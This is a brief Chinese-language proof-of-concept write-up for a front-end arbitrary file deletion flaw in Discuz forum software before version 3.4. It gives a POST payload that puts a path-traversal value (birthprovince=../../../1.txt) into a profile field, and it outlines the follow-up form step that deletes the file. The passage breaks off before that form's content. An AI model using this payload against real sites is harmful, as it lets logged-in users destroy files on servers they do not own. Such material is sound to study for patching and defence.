Discuz_＜3.4_birthprovince_前台任意文件删除

# Discuz_＜3.4_birthprovince_前台任意文件删除

## Affected Version

Discuz < 3.4 版本 需要会员身份登陆站点。 下载地址： 链接: https://pan.baidu.com/s/1hsOoSte 密码: nvjj ## PoC 测试： 1. 为了不破坏原有程序，在根目录下新建 1.txt 作为演示。  2. 登陆前台，访问 http://localhost/Discuz/Discuz_X3.2_TC_BIG5/home.php?mod=spacecp&ac=profile&op=base 先发起一个POST请求 birthprovince=../../../1.txt&profilesubmit=1&formhash=18a19dce // formhash 需要右键查看源代码得到 成功后，个人信息已经被修改成如下:  3. 最后，本地提交POST表单删除文件 1.txt 表单内容：